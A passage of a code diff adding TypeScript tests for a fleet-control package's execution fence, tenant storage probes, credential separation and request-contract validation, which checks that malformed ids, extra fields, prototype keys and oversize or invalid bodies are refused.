+            .update(DIRECT_TENANT_OBJECT_BODY)
+            .digest('hex'),
+        };
+        expect(await reference.success(action('object-read'))).toEqual(
+          expected,
+        );
+        await reference.reload();
+        expect(await reference.success(action('object-read'))).toEqual(
+          expected,
+        );
+        await server.update(active);
+        worker = server.getWorker<HarnessBindings>();
+        expect(await reference.success(action('object-read'))).toEqual(
+          expected,
+        );
+        await reference.success(action('object-delete'));
+        expect(await reference.success(action('object-read'))).toEqual({
+          role: 'a',
+          operation: 'object-read',
+          present: false,
+        });
+        expect(forwarded.length).toBeGreaterThan(0);
+        for (const request of forwarded) {
+          expect(request.authorization).toBe(`Bearer ${token}`);
+          expect(new URL(request.url).origin).toBe(
+            `https://${initial.routeHostname}`,
+          );
+        }
+        expect(JSON.stringify(put.value)).not.toContain(token);
+        await server.update(options('1', 'wrong-token'));
+        worker = server.getWorker<HarnessBindings>();
+        expect((await reference.call(action('health'))).value).toEqual({
+          contractVersion: 1,
+          ok: false,
+          error: { code: 'operation-refused' },
+        });
+      })(),
+    ]);
+    const cleanup = await Promise.allSettled([
+      reference.close(),
+      (async () => {
+        await server.update(options('1'));
+        worker = server.getWorker<HarnessBindings>();
+        await (await worker.getEnv()).PROBE_BUCKET.delete(
+          DIRECT_TENANT_OBJECT_KEY,
+        );
+      })(),
+    ]);
+    const failures = [...work, ...cleanup].flatMap((result) =>
+      result.status === 'rejected' ? [result.reason] : [],
+    );
+    if (failures.length)
+      throw new AggregateError(failures, 'native probe or cleanup failed');
+  }, 60_000);
+
+  it('serves fence and inventory administration on public ingress and refuses the control origin', async () => {
+    expect(await readFence()).toEqual({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: expect.any(Number),
+    });
+    for (const path of ['/admin/execution-fence', '/admin/inventory']) {
+      const response = await appFetch(path, { headers: maintenanceHeaders });
+      expect(response.status).toBe(200);
+      await response.json();
+      expect(
+        (await controlFetch(path, { headers: maintenanceHeaders })).status,
+      ).toBe(404);
+    }
+  });
+
+  it('accepts the epoch labels before activation and refuses malformed probe members', async () => {
+    expect(await readFence()).toMatchObject({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+    });
+    for (const epoch of ['current', 'stale', 'missing', 'future']) {
+      const response = await fenceProbe(epoch);
+      expect(response.status).toBe(200);
+      expect(await response.json()).toEqual({
+        epoch,
+        classification: 'accepted',
+      });
+    }
+    for (const body of [undefined, '{}']) {
+      const response = await fencePost('/__direct/fence-mutate', body);
+      expect(response.status).toBe(200);
+      expect(await response.json()).toEqual({ accepted: true });
+    }
+    const env = await worker.getEnv();
+    for (const [path, body] of [
+      ['/__direct/fence-mutate', '{"phase":"bogus"}'],
+      ['/__direct/fence-probe', '{"epoch":"bogus"}'],
+      ['/__direct/fence-probe', undefined],
+    ] as const) {
+      const response = await fencePost(path, body);
+      expect(response.status).toBe(400);
+      expect(
+        (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results,
+      ).toEqual([]);
+    }
+  });
+
+  it('refuses a draining create and admits a draining delete after rejecting malformed ids', async () => {
+    const created = await fenceMutate({ phase: 'create' });
+    expect(created.status).toBe(200);
+    const creation = (await created.json()) as {
+      accepted: boolean;
+      scheduleId: string;
+    };
+    expect(creation).toEqual({
+      accepted: true,
+      scheduleId: expect.any(String),
+    });
+    const { scheduleId } = creation;
+    const before = await readFence();
+    const draining = await transitionFence({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+    });
+    expect(draining).toMatchObject({
+      state: 'draining',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+    });
+    const refused = await fenceMutate({ phase: 'create' });
+    expect(refused.status).toBe(200);
+    expect(await refused.json()).toEqual({
+      accepted: false,
+      code: 'EXECUTION_FENCED',
+      status: 503,
+    });
+    const fenced = await fenceProbe('current');
+    expect(fenced.status).toBe(200);
+    // The probe reads the same refusal as a classification rather than as the
+    // unclassified answer it reports for a code it cannot place.
+    expect(await fenced.json()).toEqual({
+      epoch: 'current',
+      classification: 'fenced',
+    });
+    const env = await worker.getEnv();
+    for (const malformed of ['..', 'x/y', '%', `${scheduleId}?ignored`]) {
+      const response = await fenceMutate({
+        phase: 'delete',
+        scheduleId: malformed,
+      });
+      expect(response.status).toBe(400);
+      expect(
+        (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results,
+      ).toEqual([{ id: scheduleId }]);
+    }
+    const deleted = await fenceMutate({ phase: 'delete', scheduleId });
+    expect(deleted.status).toBe(200);
+    expect(await deleted.json()).toMatchObject({ accepted: true });
+    expect(
+      await transitionFence({
+        expected: 'draining',
+        next: 'open',
+        expectedMutationEpoch: draining.mutationEpoch,
+        expectedRevision: draining.transitionRevision,
+      }),
+    ).toMatchObject({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+    });
+  });
+
+  it('separates an unclassified mutation answer from a fence refusal', async () => {
+    const env = await worker.getEnv();
+    const unknown = await fenceMutate({
+      phase: 'delete',
+      scheduleId: 'absent-schedule',
+    });
+    expect(unknown.status).toBe(200);
+    // The schedule router answers a schedule it cannot find with no `reason`
+    // member, so the route reports the answer it could not read rather than a
+    // refusal code the tenant never received.
+    expect(await unknown.json()).toEqual({
+      accepted: false,
+      code: 'unexpected',
+      status: 404,
+    });
+    expect(
+      (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results,
+    ).toEqual([]);
+  });
+
+  it('refuses the pre-cutover artifact and admits the next artifact on the same activated fence', async () => {
+    const before = await readFence();
+    const draining = await transitionFence({
+      expected: 'open',
+      next: 'draining',
+      expectedMutationEpoch: before.mutationEpoch,
+      expectedRevision: before.transitionRevision,
+      advanceMutationEpoch: true,
+    });
+    expect(draining).toEqual({
+      state: 'draining',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+      transitionRevision: before.transitionRevision + 1,
+    });
+    const reopened = await transitionFence({
+      expected: 'draining',
+      next: 'open',
+      expectedMutationEpoch: draining.mutationEpoch,
+      expectedRevision: draining.transitionRevision,
+    });
+    expect(reopened).toEqual({
+      state: 'open',
+      mutationEpoch: 1,
+      requireMutationEpoch: true,
+      transitionRevision: draining.transitionRevision + 1,
+    });
+    const stale = await fenceMutate({ phase: 'both' });
+    expect(stale.status).toBe(200);
+    const staleOutcome = await stale.json();
+    expect(staleOutcome).toEqual({
+      accepted: false,
+      code: 'MUTATION_EPOCH_MISMATCH',
+      classification: 'stale',
+      status: 409,
+    });
+    await server.update(options('2'));
+    worker = server.getWorker<HarnessBindings>();
+    expect(await readFence()).toEqual(reopened);
+    const current = await fenceMutate({ phase: 'both' });
+    expect(current.status).toBe(200);
+    const currentOutcome = await current.json();
+    expect(currentOutcome).toEqual({ accepted: true });
+  });
+
+  it('classifies missing, future and stale epochs after reopen and admits the current epoch', async () => {
+    for (const [epoch, classification] of [
+      ['missing', 'missing'],
+      ['future', 'future'],
+      ['stale', 'stale'],
+      ['current', 'accepted'],
+    ]) {
+      const response = await fenceProbe(epoch);
+      expect(response.status).toBe(200);
+      expect(await response.json()).toEqual({ epoch, classification });
+    }
+  });
+
+  it('leaves no schedule or trigger row after the fence probes', async () => {
+    const env = await worker.getEnv();
+    expect(
+      (await env.DB.prepare('SELECT id FROM mastra_schedules').all()).results,
+    ).toEqual([]);
+    expect(
+      (await env.DB.prepare('SELECT id FROM mastra_schedule_triggers').all())
+        .results,
+    ).toEqual([]);
+  });
+
+  it('writes fixed R2 bytes and retains them across reload and additive D1 migration', async () => {
+    expect(
+      (
+        await appFetch('/__direct/object', {
+          method: 'POST',
+          headers: applicationHeaders,
+          body: 'ignored request body',
+        })
+      ).status,
+    ).toBe(204);
+    const body = DIRECT_TENANT_OBJECT_BODY;
+    const env = await worker.getEnv();
+    expect(
+      await (await env.PROBE_BUCKET.get(DIRECT_TENANT_OBJECT_KEY))?.text(),
+    ).toBe(body);
+    for (const migration of next.migrations.slice(initial.migrations.length))
+      await env.DB.batch(
+        splitSqlQuery(migration.sql).map((sql) => env.DB.prepare(sql)),
+      );
+    await server.update(options('2'));
+    worker = server.getWorker<HarnessBindings>();
+    const health = await appFetch('/__direct/health', {
+      headers: applicationHeaders,
+    });
+    expect(health.status).toBe(200);
+    expect(await health.json()).toEqual({ release: '2', marker: 'next' });
+    const object = await appFetch('/__direct/object', {
+      headers: applicationHeaders,
+    });
+    expect(object.status).toBe(200);
+    expect(await object.json()).toEqual({
+      present: true,
+      size: Buffer.byteLength(body),
+      sha256: createHash('sha256').update(body).digest('hex'),
+    });
+    expect(
+      (
+        await appFetch('/__direct/object', {
+          method: 'DELETE',
+          headers: applicationHeaders,
+        })
+      ).status,
+    ).toBe(204);
+    expect(
+      await (
+        await appFetch('/__direct/object', { headers: applicationHeaders })
+      ).json(),
+    ).toEqual({ present: false });
+  });
+
+  it('keeps the host identity check before authenticated application probes', async () => {
+    const changed = options('2');
+    const input = changed.workers[0];
+    if (!input) throw new Error('test Worker configuration is missing');
+    input.config.vars.DEPLOYMENT_TENANT = manifest.names.roles.b.tenantTag;
+    await server.update(changed);
+    worker = server.getWorker<HarnessBindings>();
+    expect(
+      (await appFetch('/__direct/health', { headers: applicationHeaders }))
+        .status,
+    ).toBe(503);
+    await server.update(options('2'));
+    worker = server.getWorker<HarnessBindings>();
+  });
+
+  it('does not turn a missing application secret into a bearer credential', async () => {
+    await server.update(options('2', ''));
+    worker = server.getWorker<HarnessBindings>();
+    for (const token of [secrets.application?.APP_PROBE_TOKEN, 'undefined', ''])
+      expect(
+        (
+          await appFetch('/__direct/health', {
+            headers: { authorization: `Bearer ${token}` },
+          })
+        ).status,
+      ).toBe(401);
+  });
+});
+
+describe('direct reference harness provider surface', () => {
+  const ACCOUNT = 'https://api.cloudflare.com/client/v4/accounts/account';
+  const deployment = `${ACCOUNT}/workers/scripts/absent-script/deployments/deployment`;
+  const version = `${ACCOUNT}/workers/scripts/pinned-script/versions/pinned-version`;
+
+  const seedVersion = (
+    harness: Awaited<ReturnType<typeof createDirectReferenceHarness>>,
+  ) =>
+    harness.world.seedScript('pinned-script', {
+      versions: [
+        {
+          versionId: 'pinned-version',
+          tag: undefined,
+          bindings: [],
+          mainModule: 'index.mjs',
+          modules: [],
+        },
+      ],
+      subdomain: { enabled: false, previewsEnabled: false },
+    });
+
+  const versionResources = async (response: Response) =>
+    ((await response.json()) as { result: { resources: object } }).result
+      .resources;
+
+  it('answers the Node-side deployment read only when the harness opts in', async () => {
+    const gated = await createDirectReferenceHarness();
+    try {
+      expect((await gated.projection.fetch(deployment)).status).toBe(404);
+    } finally {
+      await gated.close();
+    }
+    const opted = await createDirectReferenceHarness({
+      nodeProviderRest: true,
+    });
+    try {
+      const response = await opted.projection.fetch(deployment);
+      const body = (await response.json()) as { result: { id: string } };
+      expect({ status: response.status, id: body.result.id }).toEqual({
+        status: 200,
+        id: 'deployment',
+      });
+    } finally {
+      await opted.close();
+    }
+  });
+
+  it('adds the observed runtime to a bare version read only when the harness opts in', async () => {
+    const gated = await createDirectReferenceHarness();
+    try {
+      seedVersion(gated);
+      const response = await gated.projection.fetch(version);
+      expect(response.status).toBe(200);
+      // The gated projection answers the fixture's own version record, so a
+      // consumer reading `script_runtime` here would be reading the observer,
+      // not the provider.
+      expect(await versionResources(response)).not.toHaveProperty(
+        'script_runtime',
+      );
+    } finally {
+      await gated.close();
+    }
+    const opted = await createDirectReferenceHarness({
+      nodeProviderRest: true,
+    });
+    try {
+      seedVersion(opted);
+      const response = await opted.projection.fetch(version);
+      expect(response.status).toBe(200);
+      expect(await versionResources(response)).toHaveProperty('script_runtime');
+    } finally {
+      await opted.close();
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-contract.test.ts b/packages/fleet-control/test/direct-reference-contract.test.ts
new file mode 100644
index 00000000..bbeb4bbf
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-contract.test.ts
@@ -0,0 +1,297 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import {
+  DIRECT_REFERENCE_BODY_LIMIT,
+  DIRECT_REFERENCE_PATH,
+  type DirectReferenceAction,
+  DirectReferenceRequestError,
+  readDirectReferenceRequest,
+} from '../scripts/direct-reference-contract.mjs';
+
+const CONFIG = 'a'.repeat(64);
+const actions: readonly DirectReferenceAction[] = [
+  { kind: 'tenant-fence', role: 'a', operation: 'read' },
+  { kind: 'tenant-fence', role: 'b', operation: 'inventory' },
+  { kind: 'tenant-fence', role: 'a', operation: 'mutate-current' },
+  { kind: 'tenant-fence', role: 'a', operation: 'probe-missing' },
+  { kind: 'tenant-fence', role: 'b', operation: 'probe-stale' },
+  { kind: 'tenant-fence', role: 'b', operation: 'probe-future' },
+  {
+    kind: 'tenant-fence',
+    role: 'a',
+    operation: 'drain',
+    expectedMutationEpoch: 0,
+    expectedRevision: 0,
+  },
+  {
+    kind: 'tenant-fence',
+    role: 'b',
+    operation: 'reopen',
+    expectedMutationEpoch: Number.MAX_SAFE_INTEGER - 1,
+    expectedRevision: Number.MAX_SAFE_INTEGER - 1,
+  },
+  { kind: 'control-read' },
+  { kind: 'provision', role: 'a', release: 'initial' },
+  { kind: 'provision', role: 'b', release: 'initial' },
+  { kind: 'provision', role: 'recovery', release: 'failed-recovery' },
+  { kind: 'inventory-start', slot: 'inventory-before' },
+  { kind: 'inventory-continue', slot: 'inventory-before' },
+  { kind: 'inventory-read', slot: 'inventory-after' },
+  { kind: 'audit-start', slot: 'audit-before' },
+  { kind: 'audit-continue', slot: 'audit-after', token: null },
+  { kind: 'audit-page', slot: 'audit-before', limit: 1 },
+  { kind: 'audit-abandon', slot: 'audit-after' },
+  { kind: 'migration-start' },
+  { kind: 'migration-continue' },
+  {
+    kind: 'migration-page',
+    limit: 1_000,
+    afterOrdinal: Number.MAX_SAFE_INTEGER - 1,
+  },
+  { kind: 'migration-abandon' },
+  { kind: 'cleanup-start', role: 'recovery' },
+  {
+    kind: 'cleanup-continue',
+    role: 'a',
+    token: { operationId: 'unvalidated-claim', revision: 1 },
+  },
+  { kind: 'cleanup-restart-blocked', role: 'b', token: false },
+  { kind: 'cleanup-receipt', role: 'recovery' },
+  { kind: 'decommission-start', role: 'a' },
+  { kind: 'decommission-export', role: 'a' },
+  { kind: 'decommission-continue', role: 'b' },
+  { kind: 'decommission-restart-blocked', role: 'recovery', token: [] },
+  { kind: 'force-terminal', role: 'a' },
+  { kind: 'force-recovery' },
+  { kind: 'force-observe' },
+  { kind: 'recover-force-residual' },
+  { kind: 'tenant-probe', role: 'a', operation: 'health' },
+  { kind: 'tenant-probe', role: 'b', operation: 'object-put' },
+  { kind: 'tenant-probe', role: 'recovery', operation: 'object-read' },
+  { kind: 'tenant-probe', role: 'a', operation: 'object-delete' },
+];
+
+function request(body: NonNullable<RequestInit['body']>) {
+  return new Request(`https://reference.example.test${DIRECT_REFERENCE_PATH}`, {
+    method: 'POST',
+    body,
+  });
+}
+
+function envelope(action: unknown) {
+  return { contractVersion: 1, configSha256: CONFIG, action };
+}
+
+async function read(action: unknown) {
+  return readDirectReferenceRequest(
+    request(JSON.stringify(envelope(action))),
+    CONFIG,
+  );
+}
+
+describe('direct reference request contract', () => {
+  it.each(actions)('reads fixed action $kind', async (action) => {
+    const result = await read(action);
+    expect(result).toEqual(envelope(action));
+    expect(Object.isFrozen(result)).toBe(true);
+    expect(Object.isFrozen(result.action)).toBe(true);
+  });
+
+  it.each(
+    actions,
+  )('rejects extra fields for $kind without echoing supplied data', async (action) => {
+    await expect(
+      read({ ...action, providerUrl: 'secret-sentinel' }),
+    ).rejects.toMatchObject({
+      code: 'invalid-request',
+      message: 'invalid-request',
+    });
+  });
+
+  it('preserves an omitted token separately from an explicit malformed claim', async () => {
+    const base = { kind: 'migration-continue' };
+    expect(Object.hasOwn((await read(base)).action, 'token')).toBe(false);
+    for (const token of [
+      null,
+      false,
+      0,
+      '',
+      [],
+      { operationId: 'foreign', version: 99 },
+    ]) {
+      const result = await read({ ...base, token });
+      expect(Object.hasOwn(result.action, 'token')).toBe(true);
+      expect(Reflect.get(result.action, 'token')).toEqual(token);
+    }
+    await expect(
+      read({ kind: 'cleanup-restart-blocked', role: 'a' }),
+    ).rejects.toMatchObject({ code: 'invalid-request' });
+  });
+
+  it.each([
+    {},
+    null,
+    [],
+    { kind: 'toString' },
+    { kind: 'constructor' },
+    { kind: 'provision', role: 'a', release: 'failed-recovery' },
+    { kind: 'provision', role: 'other', release: 'initial' },
+    { kind: 'provision', role: 'a', release: 'next' },
+    { kind: 'inventory-start', slot: 'audit-before' },
+    { kind: 'audit-continue', slot: 'inventory-before' },
+    { kind: 'migration-start', slot: 'migration-next' },
+    { kind: 'cleanup-start', role: 'other' },
+    { kind: 'decommission-continue' },
+    { kind: 'decommission-export', role: 'other' },
+    { kind: 'decommission-export', role: 'a', view: 'bytes' },
+    { kind: 'force-terminal', role: 'a', extra: true },
+    { kind: 'force-terminal' },
+    { kind: 'force-terminal', role: 'b' },
+    { kind: 'force-terminal', role: 'recovery' },
+    { kind: 'force-recovery', role: 'a' },
+    { kind: 'tenant-fence', role: 'a', operation: 'drain' },
+    {
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'drain',
+      expectedRevision: 0,
+    },
+    {
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'drain',
+      expectedMutationEpoch: 0,
+    },
+    {
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'read',
+      expectedMutationEpoch: 0,
+      expectedRevision: 0,
+    },
+    { kind: 'tenant-fence', role: 'recovery', operation: 'read' },
+    { kind: 'tenant-fence', role: 'a', operation: 'other' },
+    { kind: 'tenant-probe', role: 'a' },
+    { kind: 'tenant-probe', role: 'other', operation: 'health' },
+    { kind: 'tenant-probe', role: 'a', operation: 'other' },
+    { kind: 'tenant-probe', role: 'a', operation: null },
+  ])('refuses an invalid action %j', async (action) => {
+    await expect(read(action)).rejects.toBeInstanceOf(
+      DirectReferenceRequestError,
+    );
+  });
+
+  it.each([
+    0,
+    -1,
+    1.5,
+    null,
+    '1',
+    1001,
+  ])('rejects invalid page limit %j', async (limit) => {
+    await expect(
+      read({ kind: 'audit-page', slot: 'audit-before', limit }),
+    ).rejects.toMatchObject({ code: 'invalid-request' });
+    await expect(read({ kind: 'migration-page', limit })).rejects.toMatchObject(
+      { code: 'invalid-request' },
+    );
+  });
+
+  it.each([
+    -1,
+    1.5,
+    null,
+    '0',
+    Number.MAX_SAFE_INTEGER,
+  ])('rejects invalid page cursor %j', async (afterOrdinal) => {
+    await expect(
+      read({ kind: 'migration-page', limit: 1, afterOrdinal }),
+    ).rejects.toMatchObject({ code: 'invalid-request' });
+  });
+
+  it.each([
+    -1,
+    1.5,
+    null,
+    '0',
+    Number.MAX_SAFE_INTEGER,
+  ])('refuses invalid fence counter %j', async (value) => {
+    for (const key of ['expectedMutationEpoch', 'expectedRevision'])
+      await expect(
+        read({
+          kind: 'tenant-fence',
+          role: 'a',
+          operation: 'drain',
+          expectedMutationEpoch: 0,
+          expectedRevision: 0,
+          [key]: value,
+        }),
+      ).rejects.toMatchObject({ code: 'invalid-request' });
+  });
+
+  it('refuses wrong root keys, version and run binding', async () => {
+    const valid = envelope({ kind: 'control-read' });
+    for (const body of [
+      { ...valid, extra: 'secret-sentinel' },
+      { ...valid, contractVersion: 2 },
+      { ...valid, configSha256: 'bad' },
+      { action: valid.action },
+    ])
+      await expect(
+        readDirectReferenceRequest(request(JSON.stringify(body)), CONFIG),
+      ).rejects.toMatchObject({ code: 'invalid-request' });
+    await expect(
+      readDirectReferenceRequest(
+        request(JSON.stringify(valid)),
+        'b'.repeat(64),
+      ),
+    ).rejects.toMatchObject({ code: 'run-binding-mismatch' });
+    const proto = JSON.parse(
+      '{"kind":"control-read","__proto__":{"secret":"sentinel"}}',
+    );
+    await expect(read(proto)).rejects.toMatchObject({
+      code: 'invalid-request',
+    });
+  });
+
+  it('accepts the body-byte boundary and refuses one extra byte', async () => {
+    const json = JSON.stringify(envelope({ kind: 'control-read' }));
+    const body =
+      json + ' '.repeat(DIRECT_REFERENCE_BODY_LIMIT - Buffer.byteLength(json));
+    await expect(
+      readDirectReferenceRequest(request(body), CONFIG),
+    ).resolves.toEqual(envelope({ kind: 'control-read' }));
+    await expect(
+      readDirectReferenceRequest(request(`${body} `), CONFIG),
+    ).rejects.toMatchObject({ code: 'payload-too-large' });
+  });
+
+  it('refuses invalid UTF-8, invalid JSON and stream errors with fixed errors', async () => {
+    await expect(
+      readDirectReferenceRequest(request(new Uint8Array([0xc3, 0x28])), CONFIG),
+    ).rejects.toMatchObject({ code: 'invalid-utf8' });
+    await expect(
+      readDirectReferenceRequest(request('{"secret-sentinel"'), CONFIG),
+    ).rejects.toMatchObject({
+      code: 'invalid-request',
+      message: 'invalid-request',
+    });
+    const body = new ReadableStream<Uint8Array>({
+      pull() {
+        throw new Error('secret-sentinel');
+      },
+    });
+    const streamed = new Request('https://reference.example.test', {
+      method: 'POST',
+      body,
+      duplex: 'half',
+    } as RequestInit);
+    await expect(
+      readDirectReferenceRequest(streamed, CONFIG),
+    ).rejects.toMatchObject({
+      code: 'invalid-request',
+      message: 'invalid-request',
+    });
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-fence.harness.test.ts b/packages/fleet-control/test/direct-reference-fence.harness.test.ts
new file mode 100644
index 00000000..c2f421b2
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-fence.harness.test.ts
@@ -0,0 +1,440 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  EXECUTION_FENCE_ROW_ID,
+  EXECUTION_FENCE_TABLE,
+} from '@proofoftech/flowsafe/deployment-identity-protocol';
+import { INVENTORY_CATEGORIES } from '@proofoftech/flowsafe/do-runner';
+import { afterAll, beforeAll, describe, expect, it } from 'vitest';
+import type {
+  DirectFenceReading,
+  DirectFenceSweep,
+} from '../scripts/direct-reference-fence.js';
+import {
+  createDirectReferenceHarness,
+  type DirectReferenceHarness,
+} from './fixtures/direct-reference-harness.js';
+import type { D1State } from './fixtures/provider-world.js';
+
+describe.sequential('reference fence composition at release 1', {
+  timeout: 180_000,
+}, () => {
+  let fixture: DirectReferenceHarness;
+  let initial: DirectFenceReading;
+  let drained: DirectFenceReading;
+  let first: DirectFenceSweep;
+  beforeAll(async () => {
+    fixture = await createDirectReferenceHarness({
+      applicationProbes: true,
+      maintenanceNow: Date.now,
+    });
+  }, 60_000);
+  afterAll(async () => {
+    await fixture?.close();
+  }, 30_000);
+
+  const read = (role: 'a' | 'b' = 'a') =>
+    fixture.success<DirectFenceReading>({
+      kind: 'tenant-fence',
+      role,
+      operation: 'read',
+    });
+  const inventory = () =>
+    fixture.success<DirectFenceSweep>({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'inventory',
+    });
+  const probe = (operation: 'probe-missing' | 'probe-stale' | 'probe-future') =>
+    fixture.success<{ epoch: string; classification: string }>({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation,
+    });
+
+  it('provisions both roles and reads open epoch-zero fences at release 1', async () => {
+    for (const role of ['a', 'b'] as const) {
+      expect(
+        await fixture.success({ kind: 'provision', role, release: 'initial' }),
+      ).toMatchObject({ status: 'ready' });
+      const value = await read(role);
+      expect(value).toMatchObject({
+        state: 'open',
+        mutationEpoch: 0,
+        requireMutationEpoch: false,
+      });
+      expect(Number.isSafeInteger(value.transitionRevision)).toBe(true);
+      expect(value.transitionRevision).toBeGreaterThanOrEqual(0);
+      if (role === 'a') initial = value;
+    }
+  });
+
+  it('accepts current, stale, missing and future before epoch activation', async () => {
+    expect(await read('b')).toMatchObject({
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+    });
+    // assertMutationEpoch returns before comparison while the requirement is false.
+    expect(
+      await fixture.success({
+        kind: 'tenant-fence',
+        role: 'a',
+        operation: 'mutate-current',
+      }),
+    ).toEqual({ accepted: true });
+    for (const operation of [
+      'probe-stale',
+      'probe-missing',
+      'probe-future',
+    ] as const)
+      expect(await probe(operation)).toEqual({
+        epoch: operation.slice('probe-'.length),
+        classification: 'accepted',
+      });
+  });
+
+  it('sweeps open role a with empty work categories', async () => {
+    first = await inventory();
+    expect(first.fence.state).toBe('open');
+    expect(
+      first.categories.every((entry) => entry.class !== 'work' || entry.empty),
+    ).toBe(true);
+  });
+
+  it('drains role a once and classifies release-1 epochs against the activated fence', async () => {
+    const result = await fixture.success<{
+      ok: boolean;
+      after: DirectFenceReading;
+    }>({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'drain',
+      expectedMutationEpoch: initial.mutationEpoch,
+      expectedRevision: initial.transitionRevision,
+    });
+    expect(result).toEqual({
+      ok: true,
+      after: {
+        state: 'draining',
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+        transitionRevision: initial.transitionRevision + 1,
+      },
+    });
+    drained = result.after;
+    const current = await fixture.success<{
+      accepted: boolean;
+      classification: string;
+    }>({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'mutate-current',
+    });
+    expect(current).toEqual({
+      accepted: false,
+      code: 'MUTATION_EPOCH_MISMATCH',
+      classification: 'stale',
+      status: 409,
+    });
+    // This fixture checks epochs without a router or schedule mutation. The
+    // scenario's post-migration probes use the active release's advanced epoch.
+    const stale = await probe('probe-stale');
+    const future = await probe('probe-future');
+    const missing = await probe('probe-missing');
+    expect(stale).toEqual({ epoch: 'stale', classification: 'stale' });
+    expect(future).toEqual({ epoch: 'future', classification: 'accepted' });
+    expect(missing).toEqual({ epoch: 'missing', classification: 'missing' });
+  });
+
+  it('sweeps draining role a and reopens with the epoch requirement preserved', async () => {
+    const second = await inventory();
+    expect(second.fence.state).toBe('draining');
+    expect(
+      second.categories.every((entry) => entry.class !== 'work' || entry.empty),
+    ).toBe(true);
+    for (const observedAt of [first.observedAt, second.observedAt]) {
+      expect(Number.isFinite(observedAt)).toBe(true);
+      expect(Number.isSafeInteger(observedAt)).toBe(true);
+    }
+    expect(second.observedAt).toBeGreaterThanOrEqual(first.observedAt);
+    expect(
+      await fixture.success({
+        kind: 'tenant-fence',
+        role: 'a',
+        operation: 'reopen',
+        expectedMutationEpoch: drained.mutationEpoch,
+        expectedRevision: drained.transitionRevision,
+      }),
+    ).toEqual({
+      ok: true,
+      after: {
+        state: 'open',
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+        transitionRevision: drained.transitionRevision + 1,
+      },
+    });
+  });
+
+  it('separates application and maintenance credentials on role a ingress', async () => {
+    for (const [path, token, status] of [
+      ['/admin/execution-fence', fixture.secrets.a.maintenanceAdmin, 200],
+      [
+        '/admin/execution-fence',
+        fixture.secrets.a.application?.APP_PROBE_TOKEN,
+        401,
+      ],
+      ['/admin/inventory', fixture.secrets.a.maintenanceAdmin, 200],
+      ['/__direct/health', fixture.secrets.a.maintenanceAdmin, 401],
+    ] as const) {
+      const response = await fixture.projection.fetch(
+        `https://${fixture.manifest.names.roles.a.routeHostname}${path}`,
+        { headers: { authorization: `Bearer ${token}` } },
+      );
+      expect(response.status).toBe(status);
+      if (status === 200 && path === '/admin/execution-fence')
+        expect(await response.json()).toMatchObject(await read());
+      else await response.body?.cancel();
+    }
+  });
+
+  it('returns a flattened CAS conflict without retrying the drain', async () => {
+    const current = await read();
+    const posts = () =>
+      fixture.projection.requests.filter(
+        (request) =>
+          request.method === 'POST' &&
+          request.url ===
+            `https://${fixture.manifest.names.roles.a.routeHostname}/admin/execution-fence`,
+      ).length;
+    const before = posts();
+    const { response, value } = await fixture.call({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'drain',
+      expectedMutationEpoch: initial.mutationEpoch,
+      expectedRevision: initial.transitionRevision,
+    });
+    expect(response.status).toBe(200);
+    expect(value).toMatchObject({
+      ok: true,
+      result: {
+        ok: false,
+        reason: {
+          code: 'FENCE_CAS_CONFLICT',
+          ...current,
+          conflict: 'expectation-mismatch',
+        },
+      },
+    });
+    expect(posts()).toBe(before + 1);
+    expect(await read()).toEqual(current);
+  });
+
+  it('projects reading fields while the proof-only store also carries a proof key', async () => {
+    const current = await read();
+    const response = await fixture.projection.fetch(
+      `https://${fixture.manifest.names.roles.a.routeHostname}/admin/execution-fence`,
+      {
+        method: 'POST',
+        headers: {
+          authorization: `Bearer ${fixture.secrets.a.maintenanceAdmin}`,
+        },
+        body: JSON.stringify({
+          expected: 'open',
+          next: 'proof-only',
+          proofKey: 'a1-fence-proof',
+          expectedMutationEpoch: current.mutationEpoch,
+          expectedRevision: current.transitionRevision,
+        }),
+      },
+    );
+    expect(response.status).toBe(200);
+    expect(await response.json()).toMatchObject({ proofKey: 'a1-fence-proof' });
+    expect(await read()).toEqual({
+      state: 'proof-only',
+      mutationEpoch: current.mutationEpoch,
+      requireMutationEpoch: true,
+      transitionRevision: current.transitionRevision + 1,
+    });
+  });
+
+  it('counts the fence, index and category reads as eleven maintenance subrequests', async () => {
+    const { response, value } = await fixture.call({
+      kind: 'tenant-fence',
+      role: 'a',
+      operation: 'inventory',
+    });
+    expect(value.ok).toBe(true);
+    expect(2 + INVENTORY_CATEGORIES.length).toBe(11);
+    expect(response.headers.get('X-Direct-Maintenance-Attempts')).toBe('11');
+  });
+
+  it('replays numeric and null fence bindings through the database clone', async () => {
+    const record = await fixture.fleetStore.get(
+      fixture.manifest.names.roles.a.tenantTag,
+      fixture.manifest.environment,
+    );
+    const original = fixture.world.databases.find(
+      ({ databaseId }) => databaseId === record?.databaseId,
+    )?.d1;
+    if (!original) throw new Error('missing fixture database for role a');
+    const fenceRow = (state: D1State) =>
+      state.queryDatabase(
+        `SELECT state, mutation_epoch, require_mutation_epoch,
+                transition_revision, proof_key, proof_run_id
